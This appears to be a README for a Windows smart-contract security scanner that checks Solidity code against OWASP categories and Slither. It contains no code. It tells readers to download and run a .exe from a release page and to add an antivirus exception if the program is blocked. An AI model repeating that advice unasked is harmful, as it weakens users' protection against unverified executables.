This tool scans Solidity smart contracts for security flaws. It helps you protect Ethereum and decentralized finance projects by finding risks before deployment. The software integrates security standards from OWASP and automated tools like Slither to give you a clear report on your code.
You do not need programming knowledge to start. This tool acts as an assistant that checks your project files for common weaknesses. Follow these instructions to set up the software on your Windows computer.
Click here to visit the download page
Ensure your computer meets these standards before you begin:
- Operating System: Windows 10 or Windows 11.
- Memory: 8 GB of RAM or more.
- Storage: 500 MB of space.
- Internet Connection: Required to download updates for security rules.
- Follow the link provided above to the repository page.
- Look for the section labeled Releases on the right side of the screen.
- Click the latest version number.
- Locate the file ending in .exe under the Assets heading.
- Click the file to download it to your folder.
- Open your Downloads folder and double-click the file to start the setup.
- Follow the prompts on the screen to finish the installation.
The software works by reviewing the directory where you keep your smart contract files. Open the program after installation to see the main window.
- Click the Open Folder button.
- Select the folder on your computer that contains your Solidity (.sol) files.
- Choose the audit depth. A quick scan covers basic checks, while a full scan reviews all 11 security domains.
- Press the Start Audit button.
- Wait for the progress bar to finish. The tool checks your code against the OWASP standards and runs internal tests through Slither.
- View the report on the screen. The software highlights specific lines of code that contain risks.
This tool checks for issues across 11 key areas. These areas include:
- Access Control: Checks who can trigger your contract functions.
- Integer Handling: Looks for math errors that lead to loss of funds.
- Input Validation: Ensures your contract rejects bad data.
- Reentrancy: Prevents hackers from draining funds during a transfer.
- Gas Efficiency: Identifies code that costs too much to run.
The tool provides a list of findings categorized by severity.
- High: Issues that lead to theft or total failure. Fix these immediately.
- Medium: Issues that affect contract stability or logic. Fix these before release.
- Low: Points that do not threaten funds but improve code quality.
Each finding includes a brief description of the risk. We recommend you review each point and compare it against your contract logic.
Security standards change quickly. The tool includes a check for updates feature. Open the settings menu to view your current version. If an update exists, the tool shows a notification button. Click this button to download the latest security rules and improvements.
If the software fails to start:
- Check if your antivirus software blocks the program. Some security settings flag file scanning tools. You may need to add an exception for this folder.
- Verify your internet connection. The tool needs to reach the network to verify the Slither components.
- Restart your computer if the installation process hangs during the final steps.
If you find a bug or need clarification, you can open an issue on the GitHub repository. Provide a description of the error and the steps you took before the issue occurred. Our team reviews these reports to improve the tool for all users.
This tool uses the Claude Code skill architecture to provide security insights. By combining the speed of automated scanners like Slither with the logic of security models, you receive a modern approach to web3 safety. Demeter Financial maintains this project to contribute to the overall security of the Ethereum ecosystem and decentralized finance.
Does this tool upload my smart contract code to a cloud server? No. All scanning happens on your local machine to keep your contract logic private.
Can I scan files without a web3 connection? Yes. The software runs locally, so you can perform audits without an active blockchain connection.
Does this tool fix the code automatically? No. The tool identifies the risks and provides suggestions. You remain in control of the final code changes.
What happens if I have custom libraries? The tool recognizes standard Foundry and Hardhat project structures. It will index your local libraries and scan them as part of your project logic.
How often should I scan my code? We recommend a scan every time you change your contract logic. Continuous auditing helps you catch mistakes before they become part of your deployment history.